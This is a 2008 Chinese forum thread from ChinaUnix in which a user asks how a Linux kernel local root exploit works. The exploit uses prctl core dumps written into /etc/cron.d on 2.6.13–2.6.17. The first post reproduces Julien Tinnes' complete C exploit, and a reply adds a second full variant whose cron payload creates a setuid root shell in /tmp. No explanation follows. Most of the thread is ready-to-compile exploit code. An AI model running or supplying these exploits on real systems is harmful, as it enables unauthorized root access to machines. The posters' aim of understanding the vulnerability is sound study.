免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2399 | 回复: 3
打印 上一主题 下一主题

请问这段C程序代码里的shell是如何被执行的? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-05-27 20:35 |只看该作者 |倒序浏览
今天看了看下面这段代码,在2.6.13上可以提升权限,但是代码里面的shell命令又是如何被执行到的?

程序好像是利用2.6.13-2.6.17的内核之间coredump的漏洞,把权限返回给父进程,最终获得权限提升

http://www.milw0rm.com/exploits/2005
  1. /* Linux >= 2.6.13 prctl kernel exploit
  2. *
  3. * (C) Julien TINNES
  4. *
  5. * If you read the Changelog from 2.6.13 you've probably seen:
  6. *  [PATCH] setuid core dump
  7. *
  8. * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
  9. * user setable argument to PR_SET_DUMPABLE.
  10. *
  11. * This flaw allows us to create a root owned coredump into any directory.
  12. * This is trivially exploitable.
  13. *
  14. */

  15. #include <sys/types.h>
  16. #include <sys/time.h>
  17. #include <sys/resource.h>
  18. #include <sys/prctl.h>
  19. #include <unistd.h>
  20. #include <stdio.h>
  21. #include <errno.h>
  22. #include <signal.h>
  23. #include <stdlib.h>
  24. #include <time.h>

  25. #define CROND "/etc/cron.d"
  26. #define BUFSIZE 2048


  27. struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

  28. char        crontemplate[]=
  29. "#/etc/cron.d/core suid_dumpable exploit\n"
  30. "SHELL=/bin/sh\n"
  31. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
  32. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

  33. char        cronstring[BUFSIZE];
  34. char        fname[BUFSIZE];

  35. struct timeval te;

  36. void sh(int sn) {
  37.         execl(fname, fname, (char *) NULL);
  38. }
  39.        

  40. int        main(int argc, char *argv[]) {

  41.         int nw, pid;

  42.         if (geteuid() == 0) {
  43.                 printf("[+] getting root shell\n");
  44.                 setuid(0);
  45.                 setgid(0);
  46.                 if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
  47.                         perror("[-] execle");
  48.                         return 1;
  49.                 }
  50.         }

  51.         printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

  52.         /* get our file name */
  53.         if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
  54.                 perror("[-] readlink");
  55.                 printf("This is not fatal, rewrite the exploit\n");
  56.         }

  57.         if (signal(SIGUSR1, sh) == SIG_ERR) {
  58.                 perror("[-] signal");
  59.                 return 1;
  60.         }
  61.         printf("[+] Installed signal handler\n");

  62.         /* Let us create core files */
  63.         setrlimit(RLIMIT_CORE, &myrlimit);
  64.         if (chdir(CROND) == -1) {
  65.                 perror("[-] chdir");
  66.                 return 1;
  67.         }

  68.         /* exploit the flaw */
  69.         if (prctl(PR_SET_DUMPABLE, 2) == -1) {
  70.                 perror("[-] prtctl");
  71.                 printf("Is you kernel version >= 2.6.13 ?\n");
  72.                 return 1;
  73.         }

  74.         printf("[+] We are suidsafe dumpable!\n");

  75.         /* Forge the string for our core dump */
  76.         nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
  77.         if (nw >= sizeof(cronstring)) {
  78.                 printf("[-] cronstring is too small\n");
  79.                 return 1;
  80.         }
  81.         printf("[+] Malicious string forged\n");

  82.         if ((pid=fork()) == -1) {
  83.                 perror("[-] fork");
  84.                 return 1;
  85.         }

  86.         if (pid == 0) {
  87.                 /* This is not the good way to do it ;) */
  88.                 sleep(120);
  89.                 exit(0);
  90.         }

  91.         /* SEGFAULT the child */
  92.         printf("[+] Segfaulting child\n");
  93.         if (kill(pid, 11) == -1) {
  94.                 perror("[-] kill");
  95.                 return 1;
  96.         }
  97.         if (gettimeofday(&te, NULL) == 0)
  98.                 printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
  99.         sleep(120);

  100.         printf("[-] It looks like the exploit failed\n");

  101.         return 1;
  102. }

  103. // milw0rm.com [2006-07-12]
复制代码

  1. char        crontemplate[]=
  2. "#/etc/cron.d/core suid_dumpable exploit\n"
  3. "SHELL=/bin/sh\n"
  4. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
  5. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
复制代码

这个地方,跟着代码调了好久好久,我还是没有明白它是如何被执行到的,请知道的朋友说一声,谢谢:)

[ 本帖最后由 hongmy525 于 2008-5-27 20:39 编辑 ]

论坛徽章:
0
2 [报告]
发表于 2008-05-27 22:40 |只看该作者
这个更直观

  1. #include <stdio.h>
  2. #include <sys/time.h>
  3. #include <sys/resource.h>
  4. #include <unistd.h>
  5. #include <linux/prctl.h>
  6. #include <stdlib.h>
  7. #include <sys/types.h>
  8. #include <signal.h>

  9. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

  10. int main() {
  11.     int child;
  12.     struct rlimit corelimit;
  13.     printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
  14.     printf("By: dreyer & RoMaNSoFt\n");
  15.     printf("[ 10.Jul.2006 ]\n\n");

  16.     corelimit.rlim_cur = RLIM_INFINITY;
  17.     corelimit.rlim_max = RLIM_INFINITY;
  18.     setrlimit(RLIMIT_CORE, &corelimit);

  19.     printf("
  20. Creating Cron entry\n");

  21.     if ( !( child = fork() )) {
  22.         chdir("/etc/cron.d");
  23.         prctl(PR_SET_DUMPABLE, 2);
  24.         sleep(200);
  25.         exit(1);
  26.     }

  27.     kill(child, SIGSEGV);

  28.     printf("
  29. Sleeping for aprox. one minute (** please wait **)\n");
  30.     sleep(62);

  31.     printf("
  32. Running shell (remember to remove /tmp/sh when finished) ...\n");
  33.     system("/tmp/sh -p");
  34. }
复制代码

论坛徽章:
0
3 [报告]
发表于 2008-05-28 10:13 |只看该作者
这是这个内核漏洞的其他版本,之前我没看:)不过看了还是不明白~~

请问payload 是什么时候被执行的?

论坛徽章:
0
4 [报告]
发表于 2008-05-29 11:56 |只看该作者
这是个内核漏洞,能发到内核版ma?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP